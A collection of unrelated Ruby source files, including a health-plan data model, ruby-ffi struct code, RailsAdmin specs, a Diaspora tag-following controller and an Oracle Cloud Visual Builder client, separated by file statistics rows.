scope :individual_health_by_active_year_and_csr_kind, ->(active_year, csr_kind = "csr_100") {
where(
"$and" => [
{:active_year => active_year, :market => "individual", :coverage_kind => "health"},
{"$or" => [
{:metal_level.in => %w(platinum gold bronze), :csr_variant_id => "01"},
{:metal_level => "silver", :csr_variant_id => EligibilityDetermination::CSR_KIND_TO_PLAN_VARIANT_MAP[csr_kind]}
]
}
]
)
}
scope :individual_health_by_active_year_and_csr_kind_with_catastrophic, ->(active_year, csr_kind = "csr_100") {
where(
"$and" => [
{:active_year => active_year, :market => "individual", :coverage_kind => "health"},
{"$or" => [
{:metal_level.in => %w(platinum gold bronze catastrophic), :csr_variant_id => "01"},
{:metal_level => "silver", :csr_variant_id => EligibilityDetermination::CSR_KIND_TO_PLAN_VARIANT_MAP[csr_kind]}
]
}
]
)
}
scope :individual_dental_by_active_year, ->(active_year) {
where(
active_year: active_year,
market: "individual",
coverage_kind: "dental"
)
}
scope :individual_health_by_active_year_carrier_profile_csr_kind, ->(active_year, carrier_profile_id, csr_kind) {
where(
"$and" => [
{:active_year => active_year, :market => "individual", :coverage_kind => "health", :carrier_profile_id => carrier_profile_id },
{"$or" => [
{:metal_level.in => %w(platinum gold bronze), :csr_variant_id => "01"},
{:metal_level => "silver", :csr_variant_id => EligibilityDetermination::CSR_KIND_TO_PLAN_VARIANT_MAP[csr_kind]}
]
}
]
)
}
scope :by_health_metal_levels, ->(metal_levels) { any_in(metal_level: metal_levels) }
scope :by_carrier_profile, ->(carrier_profile_id) { where(carrier_profile_id: carrier_profile_id) }
scope :health_metal_levels_all, ->{ any_in(metal_level: REFERENCE_PLAN_METAL_LEVELS << "catastrophic") }
scope :health_metal_levels_sans_catastrophic, ->{ any_in(metal_level: REFERENCE_PLAN_METAL_LEVELS) }
scope :health_metal_nin_catastropic, ->{ not_in(metal_level: "catastrophic") }
scope :by_plan_ids, ->(plan_ids) { where(:id => {"$in" => plan_ids}) }
# Carriers: use class method (which may be chained)
def self.find_by_carrier_profile(carrier_profile)
where(carrier_profile_id: carrier_profile._id)
end
def metal_level=(new_metal_level)
write_attribute(:metal_level, new_metal_level.to_s.downcase)
end
def coverage_kind=(new_coverage_kind)
write_attribute(:coverage_kind, new_coverage_kind.to_s.downcase)
end
# belongs_to CarrierProfile
def carrier_profile=(new_carrier_profile)
if new_carrier_profile.nil?
self.carrier_profile_id = nil
else
raise ArgumentError.new("expected CarrierProfile ") unless new_carrier_profile.is_a? CarrierProfile
self.carrier_profile_id = new_carrier_profile._id
@carrier_profile = new_carrier_profile
end
end
def carrier_profile
return @carrier_profile if defined? @carrier_profile
@carrier_profile = CarrierProfile.find(carrier_profile_id) unless carrier_profile_id.blank?
end
def cat_age_off_renewal_plan
Plan.find(cat_age_off_renewal_plan_id) unless cat_age_off_renewal_plan_id.blank?
end
# has_one renewal_plan
def renewal_plan=(new_renewal_plan)
if new_renewal_plan.nil?
self.renewal_plan_id = nil
else
raise ArgumentError.new("expected Plan ") unless new_renewal_plan.is_a? Plan
self.renewal_plan_id = new_renewal_plan._id
@renewal_plan = new_renewal_plan
end
end
def renewal_plan
return @renewal_plan if defined? @renewal_plan
@renewal_plan = Plan.find(renewal_plan_id) unless renewal_plan_id.blank?
end
def minimum_age
if premium_tables.count > 0
premium_tables.min(:age)
else
read_attribute(:minimum_age)
end
end
def bound_age(given_age)
return minimum_age if given_age < minimum_age
return maximum_age if given_age > maximum_age
given_age
end
def premium_table_for(schedule_date)
self.premium_tables.select do |pt|
(pt.start_on <= schedule_date) && (pt.end_on >= schedule_date)
end
end
def premium_for(schedule_date, age)
bound_age_val = bound_age(age)
begin
value = premium_table_for(schedule_date).detect {|pt| pt.age == bound_age_val }.cost
BigDecimal.new("#{value}").round(2).to_f
rescue
raise [self.id, bound_age_val, schedule_date, age].inspect
end
end
def is_dental_only?
return false if self.coverage_kind.blank?
self.coverage_kind.downcase == "dental"
end
def can_use_aptc?
metal_level != 'catastrophic'
end
def ehb
percent = read_attribute(:ehb)
(percent && percent > 0) ? percent : 1
end
def is_csr?
(EligibilityDetermination::CSR_KIND_TO_PLAN_VARIANT_MAP.values - [EligibilityDetermination::CSR_KIND_TO_PLAN_VARIANT_MAP.default]).include? csr_variant_id
end
def deductible_integer
(deductible && deductible.gsub(/\$/,'').gsub(/,/,'').to_i) || nil
end
def hsa_plan?
name = self.name
regex = name.match("HSA")
if regex.present?
return true
else
return false
end
end
def renewal_plan_type
hios = self.hios_base_id
kp = ["94506DC0390001","94506DC0390002","94506DC0390003","94506DC0390004","94506DC0390005","94506DC0390006","94506DC0390007","94506DC0390008","94506DC0390009","94506DC0390010","94506DC0390011"]
cf_nonhsa = ["78079DC0160001","78079DC0160002","86052DC0400003"]
cf_reg = ["86052DC0400001","86052DC0400002","86052DC0400004","86052DC0400007","86052DC0400008","78079DC0210001","78079DC0210002","78079DC0210003","78079DC0210004"]
cf_hsa = ["86052DC0400005","86052DC0400006","86052DC0400009"]
return "2017 Plan" if self.active_year != 2016
if kp.include?(hios)
return "KP"
elsif cf_nonhsa.include?(hios)
return "CFNONHSA"
elsif cf_reg.include?(hios)
return "CFREG"
elsif cf_hsa.include?(hios)
return "CFHSA"
end
end
class << self
def monthly_premium(plan_year, hios_id, insured_age, coverage_begin_date)
result = []
if plan_year.to_s == coverage_begin_date.to_date.year.to_s
[insured_age].flatten.each do |age|
cost = Plan.find_by(active_year: plan_year, hios_id: hios_id)
.premium_tables.where(:age => age, :start_on.lte => coverage_begin_date, :end_on.gte => coverage_begin_date)
.entries.first.cost
result << { age: age, cost: cost }
end
end
result
end
def valid_shop_health_plans(type="carrier", key=nil, year_of_plans=TimeKeeper.date_of_record.year)
Rails.cache.fetch("plans-#{Plan.count}-for-#{key.to_s}-at-#{year_of_plans}-ofkind-health", expires_in: 5.hour) do
Plan.public_send("valid_shop_by_#{type}_and_year", key.to_s, year_of_plans).where({coverage_kind: "health"}).to_a
end
end
def valid_for_carrier(active_year)
# carrier_ids = Plan.shop_dental_by_active_year(active_year).map(&:carrier_profile_id).uniq
# carrier_ids.map{|c| org= Organization.where(:'carrier_profile._id' => c).first;org}
Plan.shop_dental_by_active_year(active_year).map(&:carrier_profile).uniq
end
def valid_shop_dental_plans(type="carrier", key=nil, year_of_plans=TimeKeeper.date_of_record.year)
Rails.cache.fetch("dental-plans-#{Plan.count}-for-#{key.to_s}-at-#{year_of_plans}", expires_in: 5.hour) do
Plan.public_send("shop_dental_by_active_year", year_of_plans).to_a
end
end
def reference_plan_metal_level_for_options
REFERENCE_PLAN_METAL_LEVELS.map{|k| [k.humanize, k]}
end
def individual_plans(coverage_kind:, active_year:, tax_household:)
case coverage_kind
when 'dental'
Plan.individual_dental_by_active_year(active_year).with_premium_tables
when 'health'
csr_kind = tax_household.try(:latest_eligibility_determination).try(:csr_eligibility_kind)
if csr_kind.present?
Plan.individual_health_by_active_year_and_csr_kind_with_catastrophic(active_year, csr_kind).with_premium_tables
else
Plan.individual_health_by_active_year_and_csr_kind_with_catastrophic(active_year).with_premium_tables
end
end
end
def shop_plans coverage_kind, year
if coverage_kind == 'health'
shop_health_plans year
else
shop_dental_plans year
end
end
def shop_health_plans year
$shop_plan_cache = {} unless defined? $shop_plan_cache
if $shop_plan_cache[year].nil?
$shop_plan_cache[year] =
Plan::REFERENCE_PLAN_METAL_LEVELS.map do |metal_level|
Plan.valid_shop_health_plans('metal_level', metal_level, year)
end.flatten
end
$shop_plan_cache[year]
end
def shop_dental_plans year
shop_dental_by_active_year year
end
def build_plan_selectors market_kind, coverage_kind, year
plans = shop_plans coverage_kind, year
selectors = {}
if coverage_kind == 'dental'
selectors[:dental_levels] = plans.map{|p| p.dental_level}.uniq.append('any')
else
selectors[:metals] = plans.map{|p| p.metal_level}.uniq.append('any')
end
selectors[:carriers] = plans.map{|p|
id = p.carrier_profile_id
carrier_profile = CarrierProfile.find(id)
[ carrier_profile.legal_name, carrier_profile.abbrev, carrier_profile.id ]
}.uniq.append(['any','any'])
selectors[:plan_types] = plans.map{|p| p.plan_type}.uniq.append('any')
selectors[:dc_network] = ['true', 'false', 'any']
selectors[:nationwide] = ['true', 'false', 'any']
selectors
end
def build_plan_features market_kind, coverage_kind, year
plans = shop_plans coverage_kind, year
feature_array = []
plans.each{|plan|
characteristics = {}
characteristics['plan_id'] = plan.id.to_s
if coverage_kind == 'dental'
characteristics['dental_level'] = plan.dental_level
else
characteristics['metal'] = plan.metal_level
end
characteristics['carrier'] = plan.carrier_profile.organization.legal_name
characteristics['plan_type'] = plan.plan_type
characteristics['deductible'] = plan.deductible_integer
characteristics['carrier_abbrev'] = plan.carrier_profile.abbrev
characteristics['nationwide'] = plan.nationwide
characteristics['dc_in_network'] = plan.dc_in_network
if plan.deductible_integer.present?
feature_array << characteristics
else
Rails.logger.error("ERROR: No deductible found for Plan: #{p.try(:name)}, ID: #{plan.id}")
end
}
feature_array
end
end
end
| 36.556391 | 229 | 0.675442 |
0896d351ce95c487d284b0af2199d86d12dc6af4 | 10,250 | #
# Copyright (C) 2008-2010 Wayne Meissner
# Copyright (C) 2008, 2009 Andrea Fazzi
# Copyright (C) 2008, 2009 Luc Heinrich
#
# This file is part of ruby-ffi.
#
# All rights reserved.
#
# Redistribution and use in source and binary forms, with or without
# modification, are permitted provided that the following conditions are met:
#
# * Redistributions of source code must retain the above copyright notice, this
# list of conditions and the following disclaimer.
# * Redistributions in binary form must reproduce the above copyright notice
# this list of conditions and the following disclaimer in the documentation
# and/or other materials provided with the distribution.
# * Neither the name of the Ruby FFI project nor the names of its contributors
# may be used to endorse or promote products derived from this software
# without specific prior written permission.
#
# THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS"
# AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE
# IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE
# DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT OWNER OR CONTRIBUTORS BE LIABLE
# FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL
# DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR
# SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER
# CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY,
# OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE
# OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
#
require 'ffi/platform'
require 'ffi/struct_layout_builder'
module FFI
class StructLayout
# @return [Array<Array(Symbol, Numeric)>
# Get an array of tuples (field name, offset of the field).
def offsets
members.map { |m| [ m, self[m].offset ] }
end
# @return [Numeric]
# Get the offset of a field.
def offset_of(field_name)
self[field_name].offset
end
# An enum {Field} in a {StructLayout}.
class Enum < Field
# @param [AbstractMemory] ptr pointer on a {Struct}
# @return [Object]
# Get an object of type {#type} from memory pointed by +ptr+.
def get(ptr)
type.find(ptr.get_int(offset))
end
# @param [AbstractMemory] ptr pointer on a {Struct}
# @param value
# @return [nil]
# Set +value+ into memory pointed by +ptr+.
def put(ptr, value)
ptr.put_int(offset, type.find(value))
end
end
class InnerStruct < Field
def get(ptr)
type.struct_class.new(ptr.slice(self.offset, self.size))
end
def put(ptr, value)
raise TypeError, "wrong value type (expected #{type.struct_class})" unless value.is_a?(type.struct_class)
ptr.slice(self.offset, self.size).__copy_from__(value.pointer, self.size)
end
end
class Mapped < Field
def initialize(name, offset, type, orig_field)
super(name, offset, type)
@orig_field = orig_field
end
def get(ptr)
type.from_native(@orig_field.get(ptr), nil)
end
def put(ptr, value)
@orig_field.put(ptr, type.to_native(value, nil))
end
end
end
class Struct
# Get struct size
# @return [Numeric]
def size
self.class.size
end
# @return [Fixnum] Struct alignment
def alignment
self.class.alignment
end
alias_method :align, :alignment
# (see FFI::StructLayout#offset_of)
def offset_of(name)
self.class.offset_of(name)
end
# (see FFI::StructLayout#members)
def members
self.class.members
end
# @return [Array]
# Get array of values from Struct fields.
def values
members.map { |m| self[m] }
end
# (see FFI::StructLayout#offsets)
def offsets
self.class.offsets
end
# Clear the struct content.
# @return [self]
def clear
pointer.clear
self
end
# Get {Pointer} to struct content.
# @return [AbstractMemory]
def to_ptr
pointer
end
# Get struct size
# @return [Numeric]
def self.size
defined?(@layout) ? @layout.size : defined?(@size) ? @size : 0
end
# set struct size
# @param [Numeric] size
# @return [size]
def self.size=(size)
raise ArgumentError, "Size already set" if defined?(@size) || defined?(@layout)
@size = size
end
# @return (see Struct#alignment)
def self.alignment
@layout.alignment
end
# (see FFI::Type#members)
def self.members
@layout.members
end
# (see FFI::StructLayout#offsets)
def self.offsets
@layout.offsets
end
# (see FFI::StructLayout#offset_of)
def self.offset_of(name)
@layout.offset_of(name)
end
def self.in
ptr(:in)
end
def self.out
ptr(:out)
end
def self.ptr(flags = :inout)
@ref_data_type ||= Type::Mapped.new(StructByReference.new(self))
end
def self.val
@val_data_type ||= StructByValue.new(self)
end
def self.by_value
self.val
end
def self.by_ref(flags = :inout)
self.ptr(flags)
end
class ManagedStructConverter < StructByReference
# @param [Struct] struct_class
def initialize(struct_class)
super(struct_class)
raise NoMethodError, "release() not implemented for class #{struct_class}" unless struct_class.respond_to? :release
@method = struct_class.method(:release)
end
# @param [Pointer] ptr
# @param [nil] ctx
# @return [Struct]
def from_native(ptr, ctx)
struct_class.new(AutoPointer.new(ptr, @method))
end
end
def self.auto_ptr
@managed_type ||= Type::Mapped.new(ManagedStructConverter.new(self))
end
class << self
public
# @return [StructLayout]
# @overload layout
# @return [StructLayout]
# Get struct layout.
# @overload layout(*spec)
# @param [Array<Symbol, Integer>,Array(Hash)] spec
# @return [StructLayout]
# Create struct layout from +spec+.
# @example Creating a layout from an array +spec+
# class MyStruct < Struct
# layout :field1, :int,
# :field2, :pointer,
# :field3, :string
# end
# @example Creating a layout from an array +spec+ with offset
# class MyStructWithOffset < Struct
# layout :field1, :int,
# :field2, :pointer, 6, # set offset to 6 for this field
# :field3, :string
# end
# @example Creating a layout from a hash +spec+ (Ruby 1.9 only)
# class MyStructFromHash < Struct
# layout :field1 => :int,
# :field2 => :pointer,
# :field3 => :string
# end
# @example Creating a layout with pointers to functions
# class MyFunctionTable < Struct
# layout :function1, callback([:int, :int], :int),
# :function2, callback([:pointer], :void),
# :field3, :string
# end
# @note Creating a layout from a hash +spec+ is supported only for Ruby 1.9.
def layout(*spec)
#raise RuntimeError, "struct layout already defined for #{self.inspect}" if defined?(@layout)
return @layout if spec.size == 0
builder = StructLayoutBuilder.new
builder.union = self < Union
builder.packed = @packed if defined?(@packed)
builder.alignment = @min_alignment if defined?(@min_alignment)
if spec[0].kind_of?(Hash)
hash_layout(builder, spec)
else
array_layout(builder, spec)
end
builder.size = @size if defined?(@size) && @size > builder.size
cspec = builder.build
@layout = cspec unless self == Struct
@size = cspec.size
return cspec
end
protected
def callback(params, ret)
mod = enclosing_module
FFI::CallbackInfo.new(find_type(ret, mod), params.map { |e| find_type(e, mod) })
end
def packed(packed = 1)
@packed = packed
end
alias :pack :packed
def aligned(alignment = 1)
@min_alignment = alignment
end
alias :align :aligned
def enclosing_module
begin
mod = self.name.split("::")[0..-2].inject(Object) { |obj, c| obj.const_get(c) }
(mod < FFI::Library || mod < FFI::Struct || mod.respond_to?(:find_type)) ? mod : nil
rescue Exception
nil
end
end
def find_field_type(type, mod = enclosing_module)
if type.kind_of?(Class) && type < Struct
FFI::Type::Struct.new(type)
elsif type.kind_of?(Class) && type < FFI::StructLayout::Field
type
elsif type.kind_of?(::Array)
FFI::Type::Array.new(find_field_type(type[0]), type[1])
else
find_type(type, mod)
end
end
def find_type(type, mod = enclosing_module)
if mod
mod.find_type(type)
end || FFI.find_type(type)
end
private
# @param [StructLayoutBuilder] builder
# @param [Hash] spec
# @return [builder]
# @raise if Ruby 1.8
# Add hash +spec+ to +builder+.
def hash_layout(builder, spec)
raise "Ruby version not supported" if RUBY_VERSION =~ /^1\.8\..*/
spec[0].each do |name, type|
builder.add name, find_field_type(type), nil
end
end
# @param [StructLayoutBuilder] builder
# @param [Array<Symbol, Integer>] spec
# @return [builder]
# Add array +spec+ to +builder+.
def array_layout(builder, spec)
i = 0
while i < spec.size
name, type = spec[i, 2]
i += 2
# If the next param is a Integer, it specifies the offset
if spec[i].kind_of?(Integer)
offset = spec[i]
i += 1
else
offset = nil
end
builder.add name, find_field_type(type), offset
end
end
end
end
end
| 27.406417 | 123 | 0.608 |
879e89a3c2b734f83774ce2c2d1b4734b7d6bd9d | 1,645 | # (c) Copyright 2020 Hewlett Packard Enterprise Development LP
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicable law or agreed to in writing, software distributed
# under the License is distributed on an "AS IS" BASIS, WITHOUT WARRANTIES OR
# CONDITIONS OF ANY KIND, either express or implied. See the License for the
# specific language governing permissions and limitations under the License.
module OneviewCookbook
module API800
module C7000
# Hypervisor Manager API800 provider
class HypervisorManagerProvider < ResourceProvider
def update_registration
if @item.exists?
@item.retrieve!
old_name = @item.data['name']
@item.data['name'] = @new_resource.new_name
desired_state = Marshal.load(Marshal.dump(@item.data))
@item.data['name'] = old_name
if @item.like? desired_state
Chef::Log.info("#{@resource_name} '#{@name}' is up to date")
else
diff = get_diff(@item, desired_state)
Chef::Log.info "#{method2.to_s.capitalize} #{@resource_name} '#{@name}'#{diff}"
@context.converge_by "#{method2.to_s.capitalize} #{@resource_name} '#{@name}'" do
@item.update(desired_state)
end
end
else
Chef::Log.info("#{@resource_name} '#{@name} does not exist")
end
end
end
end
end
end
| 40.121951 | 95 | 0.635258 |
ff0c912fb64ff991aa6a5a7be489ee0e3739ae54 | 217 | class Kaui::Base
def self.to_money(amount, currency)
begin
return Money.from_amount(amount.to_f, currency)
rescue => _
end if currency.present?
Money.from_amount(amount.to_f, 'USD')
end
end
| 19.727273 | 53 | 0.686636 |
5dbce0535b047ea8d40844b95468df57f115f150 | 173 | require File.dirname(File.join(__rhoGetCurrentDir(), __FILE__)) + '/../../spec_helper'
require File.dirname(File.join(__rhoGetCurrentDir(), __FILE__)) + '/fixtures/classes'
| 57.666667 | 86 | 0.751445 |
6a68f624abf67049b2aed710b6e7046acba76662 | 4,562 | require 'spec_helper'
describe RailsAdmin::Config::Fields::Types::MultipleFileUpload do
it_behaves_like 'a generic field type', :string_field, :multiple_file_upload
describe '#allowed_methods' do
it 'includes delete_method and cache_method' do
RailsAdmin.config do |config|
config.model FieldTest do
field :carrierwave_assets, :multiple_carrierwave do
delete_method :delete_carrierwave_assets
end
field :active_storage_assets, :multiple_active_storage do
delete_method :remove_active_storage_assets
end if defined?(ActiveStorage)
end
end
expect(RailsAdmin.config(FieldTest).field(:carrierwave_assets).allowed_methods.collect(&:to_s)).to eq %w(carrierwave_assets carrierwave_assets_cache delete_carrierwave_assets)
expect(RailsAdmin.config(FieldTest).field(:active_storage_assets).allowed_methods.collect(&:to_s)).to eq %w(active_storage_assets remove_active_storage_assets) if defined?(ActiveStorage)
end
end
describe '#html_attributes' do
context 'when the field is required and value is already set' do
before do
RailsAdmin.config FieldTest do
field :string_field, :multiple_file_upload do
required true
end
end
end
let :rails_admin_field do
RailsAdmin.config('FieldTest').fields.detect do |f|
f.name == :string_field
end.with(object: FieldTest.new(string_field: 'dummy.jpg'))
end
it 'does not have a required attribute' do
expect(rails_admin_field.html_attributes[:required]).to be_falsy
end
end
end
describe '#pretty_value' do
before do
RailsAdmin.config FieldTest do
field :string_field, :multiple_file_upload do
attachment do
thumb_method 'thumb'
def resource_url(thumb = false)
if thumb
"http://example.com/#{thumb}/#{value}"
else
"http://example.com/#{value}"
end
end
end
end
end
end
let(:filename) { '' }
let :rails_admin_field do
RailsAdmin.config('FieldTest').fields.detect do |f|
f.name == :string_field
end.with(
object: FieldTest.new(string_field: filename),
view: ApplicationController.new.view_context,
)
end
context 'when the field is not an image' do
let(:filename) { 'dummy.txt' }
it 'uses filename as link text' do
expect(Nokogiri::HTML(rails_admin_field.pretty_value).text).to eq 'dummy.txt'
end
end
context 'when the field is an image' do
let(:filename) { 'dummy.jpg' }
subject { Nokogiri::HTML(rails_admin_field.pretty_value) }
it 'shows thumbnail image with a link' do
expect(subject.css('img').attribute('src').value).to eq 'http://example.com/thumb/dummy.jpg'
expect(subject.css('a').attribute('href').value).to eq 'http://example.com/dummy.jpg'
end
end
end
describe '#attachment' do
before do
RailsAdmin.config FieldTest do
field :string_field, :multiple_file_upload do
attachment do
delete_key 'something'
def resource_url(_thumb = false)
"http://example.com/#{value}"
end
end
def value
['foo.jpg']
end
end
end
end
let :rails_admin_field do
RailsAdmin.config('FieldTest').fields.detect do |f|
f.name == :string_field
end.with(
view: ApplicationController.new.view_context,
)
end
it 'enables configuration' do
expect(rails_admin_field.attachments.map(&:delete_key)).to eq ['something']
expect(rails_admin_field.attachments.map(&:resource_url)).to eq ['http://example.com/foo.jpg']
expect(rails_admin_field.pretty_value).to match(%r{src="http://example.com/foo.jpg"})
end
end
describe '#attachments' do
before do
RailsAdmin.config FieldTest do
field :string_field, :multiple_file_upload
end
end
let :rails_admin_field do
RailsAdmin.config('FieldTest').fields.detect do |f|
f.name == :string_field
end
end
it 'wraps value with Array()' do
expect(rails_admin_field.with(object: FieldTest.new(string_field: nil)).attachments).to eq []
expect(rails_admin_field.with(object: FieldTest.new(string_field: 'dummy.txt')).attachments.map(&:value)).to eq ['dummy.txt']
end
end
end
| 30.824324 | 192 | 0.642262 |
e9483409898d28bde473e9f1f05da01a35b966c1 | 45 | When /^I retrieve the logs$/ do
pending
end | 15 | 31 | 0.711111 |
4af054e287cbd78a1b744d020983ec74894dfcb0 | 2,105 | # Copyright (c) 2010-2011, Diaspora Inc. This file is
# licensed under the Affero General Public License version 3 or later. See
# the COPYRIGHT file.
#
class TagFollowingsController < ApplicationController
before_filter :authenticate_user!
respond_to :html, :json
# POST /tag_followings
# POST /tag_followings.xml
def create
name_normalized = ActsAsTaggableOn::Tag.normalize(params['name'])
if name_normalized.nil? || name_normalized.empty?
flash[:error] = I18n.t('tag_followings.create.none')
else
@tag = ActsAsTaggableOn::Tag.find_or_create_by_name(name_normalized)
@tag_following = current_user.tag_followings.new(:tag_id => @tag.id)
if @tag_following.save
flash[:notice] = I18n.t('tag_followings.create.success', :name => name_normalized)
else
flash[:error] = I18n.t('tag_followings.create.failure', :name => name_normalized)
end
end
redirect_to :back
end
# DELETE /tag_followings/1
# DELETE /tag_followings/1.xml
def destroy
@tag = ActsAsTaggableOn::Tag.find_by_name(params[:name])
@tag_following = current_user.tag_followings.where(:tag_id => @tag.id).first
if @tag_following && @tag_following.destroy
@tag_unfollowed = true
else
@tag_unfollowed = false
end
if params[:remote]
respond_to do |format|
format.all {}
format.js { render 'tags/update' }
end
else
if @tag_unfollowed
flash[:notice] = I18n.t('tag_followings.destroy.success', :name => params[:name])
else
flash[:error] = I18n.t('tag_followings.destroy.failure', :name => params[:name])
end
redirect_to tag_path(:name => params[:name])
end
end
def create_multiple
if params[:tags].present?
params[:tags].split(",").each do |name|
name_normalized = ActsAsTaggableOn::Tag.normalize(name)
@tag = ActsAsTaggableOn::Tag.find_or_create_by_name(name_normalized)
@tag_following = current_user.tag_followings.create(:tag_id => @tag.id)
end
end
redirect_to stream_path
end
end
| 30.507246 | 90 | 0.67601 |
336a8f18945313947bc671ac407142a6a87b4dd8 | 52,716 | # Copyright (c) 2016, 2022, Oracle and/or its affiliates. All rights reserved.
# This software is dual-licensed to you under the Universal Permissive License (UPL) 1.0 as shown at https://oss.oracle.com/licenses/upl or Apache License 2.0 as shown at http://www.apache.org/licenses/LICENSE-2.0. You may choose either license.
require 'uri'
require 'logger'
# rubocop:disable Lint/UnneededCopDisableDirective, Metrics/LineLength
module OCI
# Oracle Visual Builder enables developers to quickly build web and mobile applications. With a visual development environment that makes it easy to connect to Oracle data and third-party REST services, developers can build modern, consumer-grade applications in a fraction of the time it would take in other tools.
# The Visual Builder Instance Management API allows users to create and manage a Visual Builder instance.
class VisualBuilder::VbInstanceClient
# Client used to make HTTP requests.
# @return [OCI::ApiClient]
attr_reader :api_client
# Fully qualified endpoint URL
# @return [String]
attr_reader :endpoint
# The default retry configuration to apply to all operations in this service client. This can be overridden
# on a per-operation basis. The default retry configuration value is `nil`, which means that an operation
# will not perform any retries
# @return [OCI::Retry::RetryConfig]
attr_reader :retry_config
# The region, which will usually correspond to a value in {OCI::Regions::REGION_ENUM}.
# @return [String]
attr_reader :region
# rubocop:disable Metrics/AbcSize, Metrics/CyclomaticComplexity, Layout/EmptyLines, Metrics/PerceivedComplexity
# Creates a new VbInstanceClient.
# Notes:
# If a config is not specified, then the global OCI.config will be used.
#
# This client is not thread-safe
#
# Either a region or an endpoint must be specified. If an endpoint is specified, it will be used instead of the
# region. A region may be specified in the config or via or the region parameter. If specified in both, then the
# region parameter will be used.
# @param [Config] config A Config object.
# @param [String] region A region used to determine the service endpoint. This will usually
# correspond to a value in {OCI::Regions::REGION_ENUM}, but may be an arbitrary string.
# @param [String] endpoint The fully qualified endpoint URL
# @param [OCI::BaseSigner] signer A signer implementation which can be used by this client. If this is not provided then
# a signer will be constructed via the provided config. One use case of this parameter is instance principals authentication,
# so that the instance principals signer can be provided to the client
# @param [OCI::ApiClientProxySettings] proxy_settings If your environment requires you to use a proxy server for outgoing HTTP requests
# the details for the proxy can be provided in this parameter
# @param [OCI::Retry::RetryConfig] retry_config The retry configuration for this service client. This represents the default retry configuration to
# apply across all operations. This can be overridden on a per-operation basis. The default retry configuration value is `nil`, which means that an operation
# will not perform any retries
def initialize(config: nil, region: nil, endpoint: nil, signer: nil, proxy_settings: nil, retry_config: nil)
# If the signer is an InstancePrincipalsSecurityTokenSigner or SecurityTokenSigner and no config was supplied (they are self-sufficient signers)
# then create a dummy config to pass to the ApiClient constructor. If customers wish to create a client which uses instance principals
# and has config (either populated programmatically or loaded from a file), they must construct that config themselves and then
# pass it to this constructor.
#
# If there is no signer (or the signer is not an instance principals signer) and no config was supplied, this is not valid
# so try and load the config from the default file.
config = OCI::Config.validate_and_build_config_with_signer(config, signer)
signer = OCI::Signer.config_file_auth_builder(config) if signer.nil?
@api_client = OCI::ApiClient.new(config, signer, proxy_settings: proxy_settings)
@retry_config = retry_config
if endpoint
@endpoint = endpoint + '/20210601'
else
region ||= config.region
region ||= signer.region if signer.respond_to?(:region)
self.region = region
end
logger.info "VbInstanceClient endpoint set to '#{@endpoint}'." if logger
end
# rubocop:enable Metrics/AbcSize, Metrics/CyclomaticComplexity, Layout/EmptyLines, Metrics/PerceivedComplexity
# Set the region that will be used to determine the service endpoint.
# This will usually correspond to a value in {OCI::Regions::REGION_ENUM},
# but may be an arbitrary string.
def region=(new_region)
@region = new_region
raise 'A region must be specified.' unless @region
@endpoint = OCI::Regions.get_service_endpoint_for_template(@region, 'https://visualbuilder.{region}.ocp.{secondLevelDomain}') + '/20210601'
logger.info "VbInstanceClient endpoint set to '#{@endpoint} from region #{@region}'." if logger
end
# @return [Logger] The logger for this client. May be nil.
def logger
@api_client.config.logger
end
# rubocop:disable Metrics/CyclomaticComplexity, Metrics/AbcSize, Metrics/PerceivedComplexity
# rubocop:disable Style/IfUnlessModifier, Metrics/ParameterLists
# rubocop:disable Metrics/MethodLength, Layout/EmptyLines
# Change the compartment for an vb instance
#
# @param [String] vb_instance_id Unique Vb Instance identifier.
# @param [OCI::VisualBuilder::Models::ChangeVbInstanceCompartmentDetails] change_vb_instance_compartment_details Details for the update vb instance
# @param [Hash] opts the optional parameters
# @option opts [OCI::Retry::RetryConfig] :retry_config The retry configuration to apply to this operation. If no key is provided then the service-level
# retry configuration defined by {#retry_config} will be used. If an explicit `nil` value is provided then the operation will not retry
# @option opts [String] :if_match For optimistic concurrency control. In the PUT or DELETE call
# for a resource, set the `if-match` parameter to the value of the
# etag from a previous GET or POST response for that resource.
# The resource will be updated or deleted only if the etag you
# provide matches the resource's current etag value.
#
# @option opts [String] :opc_request_id The client request ID for tracing.
# @option opts [String] :opc_retry_token A token that uniquely identifies a request so it can be retried in case
# of a timeout or server error without risk of executing that same action
# again. Retry tokens expire after 24 hours, but can be invalidated before
# then due to conflicting operations. For example, if a resource has been
# deleted and purged from the system, then a retry of the original creation
# request might be rejected.
#
# @return [Response] A Response object with data of type nil
# @note Click [here](https://docs.cloud.oracle.com/en-us/iaas/tools/ruby-sdk-examples/latest/visualbuilder/change_vb_instance_compartment.rb.html) to see an example of how to use change_vb_instance_compartment API.
def change_vb_instance_compartment(vb_instance_id, change_vb_instance_compartment_details, opts = {})
logger.debug 'Calling operation VbInstanceClient#change_vb_instance_compartment.' if logger
raise "Missing the required parameter 'vb_instance_id' when calling change_vb_instance_compartment." if vb_instance_id.nil?
raise "Missing the required parameter 'change_vb_instance_compartment_details' when calling change_vb_instance_compartment." if change_vb_instance_compartment_details.nil?
raise "Parameter value for 'vb_instance_id' must not be blank" if OCI::Internal::Util.blank_string?(vb_instance_id)
path = '/vbInstances/{vbInstanceId}/actions/changeCompartment'.sub('{vbInstanceId}', vb_instance_id.to_s)
operation_signing_strategy = :standard
# rubocop:disable Style/NegatedIf
# Query Params
query_params = {}
# Header Params
header_params = {}
header_params[:accept] = 'application/json'
header_params[:'content-type'] = 'application/json'
header_params[:'if-match'] = opts[:if_match] if opts[:if_match]
header_params[:'opc-request-id'] = opts[:opc_request_id] if opts[:opc_request_id]
